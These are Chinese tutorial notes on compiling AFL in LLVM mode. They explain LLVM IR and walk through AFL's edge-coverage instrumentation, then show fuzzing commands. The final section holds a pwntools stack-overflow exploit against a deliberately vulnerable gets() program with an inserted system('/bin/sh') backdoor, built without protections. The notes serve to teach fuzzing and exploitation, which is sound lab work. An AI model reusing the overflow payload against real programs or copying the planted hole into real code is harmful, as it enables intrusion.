演示
0. 进入AFL 执行make 把整个AFL项目编译一下
(注,好像会自动执行llvm_mode中的makefile,需要先更改llvm_mode中makefile的代码)
make会自动生成afl-fuzz文件在 /usr/local/bin/afl-fuzz 目录下生成afl-fuzz编译器
1. 安装llvm-config-4.0
apt-get instal llvm-4.0
2. 进入llvm_mode
2.1 Makefile
line 25 修改makefile配 llvm-config-4.0 高版本的不兼容
line 54 CC = clang-4.0
line 55 CXX = clang+±4.0
执行make会把llvm_mode里面的东西编译,汇编,链接
执行make之后会自动在 /usr/local/bin/目录产生 afl-clang-fast++ (针对C++) 和afl-clang-fast (针对C)编译器
执行make clean会把make产生的垃圾清除掉
2.2 修改afl-clang-fast.c
line 116 cc_params[0] = alt_cxx ? alt_cxx : (u8*)"clang+±4.0
line 119 cc_params[0] = alt_cc ? alt_cc : (u8*)“clang-4.0”;
2.3 修改afl_llvm-pass.so.cc文件更改插桩代码
SHM是共享内存-----链接trace_bits
记录执行边的方法是 将上一个基本块的id右移一位,与当前基本块id进行异或,作为边的id
修改了横幅为Ljt_Instrumented
llvm_pass的使用方法和原理,解释生成的插桩IR代码,展示所实现的功能
%号开头代表寄存器
数据类型
整数类型:i1, i8, i16, i32, i64, i128 i8占8位
浮点类型:half, float, double, fp128 half占16位 float占32位
向量类型:<n x i8>, <n x i16>, <n x i32> <n x i8> 占n*8位
指针类型:i8*, i32*, float* i32* 占32位
标签类型:metadata 与指针类型占相同的空间
指令
加减乘除指令:add, sub, mul, sdiv, udiv, fadd, fsub, fmul, fdiv
%result = add <type> <value1>, <value2>
%result = add i32 %a, %b
位运算指令:and, or, xor, shl, lshr, ashr
%result = and <type> <value1>, <value2>
%result = and i32 %x, %y
转换指令:trunc, zext, sext, fptrunc, fpext, fptoui, fptosi, sitofp, ptrtoint, inttoptr, bitcast
uitofp:将一个无符号整数转换成一个浮点数
%result = uitofp <source type> <value> to <destination type>
%result = uitofp i32 %a to float
内存指令:alloca, load, store, getelementptr, malloc, free, memset, memcpy, memmove
alloca指令用于在栈上分配内存,并返回一个指向新分配的内存的指针
%ptf = alloca <type>
%array = alloca [5 x i32] #分配一个包含5个整数的数组
load指令从内存中读取数据,并将其加载到寄存器中
%result = load <value>, <type>* <ptr>
%result = load i32, i32* %ptr
store指令用于将数据从寄存器中写入内存
store <type> <value>, <type>* <ptr>
store i32 42, i32* %ptf
getelementptr指令用于计算指针的偏移量,访问内存
%ptr = getelementptr <type>, <type>* <ptr>, <index type> <idx>, ...
%array = alloca [3 x [4 x i32]] 二维数组
%ptr = getelementptr [3 x [4 x i32]], [3 x [4 x i32]]* %array, i32 1,i32 2 取二维数组第二行,第三列
malloc指令用于在堆上分配内存,返回一个指向新分配的内存的指针
%ptr = call <type>* @malloc(<type> <size>)
%prt = call i8* @malloc(i64 40)
memset指令用于将一段内存区域的内容设定为指定的值
call void @llvm.memset.p0i8.i64(i8* %dst, i8 %val, i64 %size, i1 0) 最后的0表示对其方式
memcpy指令用于将一个内存区域的内容复制到另一个内存区域
call void @llvm.memcpy.p0i8.p0i8.i64(i8* %dst, i8* %src, i64 %size, i1 0)
控制流指令:br, switch, ret, indirectbr, invoke, resume, unreachable
br 条件分支,根据条件跳转到指定的基本块 <cond>是条件值
br i1 <cond>, label <iftrue>, label <iffalse>
%cmp = icmp eq i32 %a, %b
br i1 %cmp, label %equal, label %notequal
equal: ret i32 1
notequal: ret i32 0
switch 多路分支指令,根据输入值跳转到不同的基本块
switch <type> <value>, label <defaultdest> [<type> <val>, label <dest> ...]
switch i32 %a, label %default[i32 0, label %zero i32 1, %one]
zero: ret i32 0
one: ret i32 1
default: ret i32 -1
ret 函数返回指令,返回到调用函数的地方
ret <type> <value>
invoke 调用指令,调用带异常处理的函数,并在异常发生时传递控制权,等同于call
invoke void @foo()
unreachable 不可达指令,表示程序不应该执行到该点
error: unreachable
其他指令:phi, select, call, va_arg, landingpad
phi指令用于在基本块之间传递值 phi在基本块label1和label2之间选择一个值
%result = phi <type> [<value1>, <label1>], [<value2>,<label2>], ...
select指令用于根据条件选择两个值中的一个
call指令用于调用函数
%result = call <type> <function>(<argument list>)
<type>是函数的返回类型 <functiong>是调用的函数名,<argument list>是函数的参数
使用LLVM Pass API编写程序 gcc clang .ll
#include <stdio.h>
#include <stdlib.h>
int main() {
int a = 1;
int b = 2;
int c = a + 2;
int d;
b = 10;
if (c > 5) {
d = 1;
} else {
d = 2;
}
return 0;
}
插桩前
; ModuleID = 'test.bc'
source_filename = "test.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
; Function Attrs: noinline nounwind uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 0, i32* %1, align 4
store i32 1, i32* %2, align 4
store i32 2, i32* %3, align 4
%6 = load i32, i32* %2, align 4
%7 = add nsw i32 %6, 2
store i32 %7, i32* %4, align 4
store i32 10, i32* %3, align 4
%8 = load i32, i32* %4, align 4
%9 = icmp sgt i32 %8, 5
br i1 %9, label %10, label %11
10: ; preds = %0
store i32 1, i32* %5, align 4
br label %12
11: ; preds = %0
store i32 2, i32* %5, align 4
br label %12
12: ; preds = %11, %10
ret i32 0
}
attributes #0 = { noinline nounwind uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
!llvm.module.flags = !{!0}
!llvm.ident = !{!1}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 10.0.1 "}
插桩后
; ModuleID = 'test-opt.bc'
source_filename = "test.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@__afl_area_ptr = external global i8*
@__afl_prev_loc = external thread_local global i32
; Function Attrs: noinline nounwind uwtable
define dso_local i32 @main() #0 {
%1 = load i32, i32* @__afl_prev_loc, !nosanitize !2
%2 = load i8*, i8** @__afl_area_ptr, !nosanitize !2
%3 = xor i32 %1, 9158
%4 = getelementptr i8, i8* %2, i32 %3
%5 = load i8, i8* %4, !nosanitize !2
%6 = add i8 %5, 1
store i8 %6, i8* %4, !nosanitize !2
store i32 4579, i32* @__afl_prev_loc, !nosanitize !2
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
store i32 0, i32* %7, align 4
store i32 1, i32* %8, align 4
store i32 2, i32* %9, align 4
%12 = load i32, i32* %8, align 4
%13 = add nsw i32 %12, 2
store i32 %13, i32* %10, align 4
store i32 10, i32* %9, align 4
%14 = load i32, i32* %10, align 4
%15 = icmp sgt i32 %14, 5
br i1 %15, label %16, label %23
16: ; preds = %0
%17 = load i32, i32* @__afl_prev_loc, !nosanitize !2
%18 = load i8*, i8** @__afl_area_ptr, !nosanitize !2
%19 = xor i32 %17, 18547
%20 = getelementptr i8, i8* %18, i32 %19
%21 = load i8, i8* %20, !nosanitize !2
%22 = add i8 %21, 1
store i8 %22, i8* %20, !nosanitize !2
store i32 9273, i32* @__afl_prev_loc, !nosanitize !2
store i32 1, i32* %11, align 4
br label %30
23: ; preds = %0
%24 = load i32, i32* @__afl_prev_loc, !nosanitize !2
%25 = load i8*, i8** @__afl_area_ptr, !nosanitize !2
%26 = xor i32 %24, 23807
%27 = getelementptr i8, i8* %25, i32 %26
%28 = load i8, i8* %27, !nosanitize !2
%29 = add i8 %28, 1
store i8 %29, i8* %27, !nosanitize !2
store i32 11903, i32* @__afl_prev_loc, !nosanitize !2
store i32 2, i32* %11, align 4
br label %30
30: ; preds = %23, %16
%31 = load i32, i32* @__afl_prev_loc, !nosanitize !2
%32 = load i8*, i8** @__afl_area_ptr, !nosanitize !2
%33 = xor i32 %31, 22764
%34 = getelementptr i8, i8* %32, i32 %33
%35 = load i8, i8* %34, !nosanitize !2
%36 = add i8 %35, 1
store i8 %36, i8* %34, !nosanitize !2
store i32 11382, i32* @__afl_prev_loc, !nosanitize !2
ret i32 0
}
attributes #0 = { noinline nounwind uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
!llvm.module.flags = !{!0}
!llvm.ident = !{!1}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 10.0.1 "}
!2 = !{}
%1 = load i32, i32* @__afl_prev_loc, !nosanitize !2 获取前一个基本块的id放进%1
%2 = load i8*, i8** @__afl_area_ptr, !nosanitize !2 获取共享内存地址放进%2
%3 = xor i32 %1, 9158 将当前基本块ID9158与前一个基本块ID进行异或运算,放进%3 0010001111000110
%4 = getelementptr i8, i8* %2, i32 %3 将%3作为索引,在%2作为数组首地址的,共享内存中找一个位置放进%4
%5 = load i8, i8* %4, !nosanitize !2 取出共享内存中%4位置的值,放进%5中
%6 = add i8 %5, 1 将该共享内存中的值进行加1,表示该基本块命中次数加1,放进%6
store i8 %6, i8* %4, !nosanitize !2 在把%6的值,存储回共享内存中的这个位置
store i32 4579, i32* @__afl_prev_loc, !nosanitize !2 % 当前基本块9158>>1之后得到4579,把值存回prev_loc 0001000111100011
3.afl_fuzz的原理和方法,框架图,类图
afl.xmind
static s32 shm_id; EXP_ST u8* trace_bits; 共享内存
4. 执行命令:
新建testfile文件夹`
建立fuzz_in文件夹放测试用例testcase
fuzz_out文件夹放结果 其中crash文件夹放的是导致崩溃的测试用例
使用xxd命令查看崩溃结果 id:00000,…
放入源代码 test.c
使用命令生成可执行文件
使用汇编插桩形式 afl-gcc / afl-clang afl-g++ / afl-clang++编译器编译
使用llvm插桩模式 afl-clang-fast afl-clang-fast++ 编译成功会显示插桩信息和横幅
afl-clang-fast test.c -o test 其中可以加入一些编译参数 生成可执行文件test
echo core > /proc/sys/kernel/core_pattern
`模糊测试命令:afl-fuzz -i fuzz_in -o fuzz_out ./test @@ 其中也可以加入一些执行参数
复现: cat crashes/id:000000,sig:06,src:000000,op:havoc,rep:128 | …/test
5.根据crash以及测试用例进行漏洞利用
漏洞利用脚本:
from pwn import *
io = process("./test")
text_add = 0x08049297 #后门地址
payload = b'A'*0x80 + p32(text_add)
io.sendline(payload)
io.interactive()
被测代码
gcc -m32 -z execstack -fno-stack-protector -no-pie -o test test.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int vulnerable()
{
char buffer[8];
gets(buffer); //存在栈溢出
return 0;
}
int main(int argc, char *argv[])
{
puts("Have you heard of buffer overflow?");
vulnerable();
puts("It seems that you know nothing about it ......");
return 0;
}
int get_shell()
{
system("/bin/sh"); //插入后门代码
return 0;
}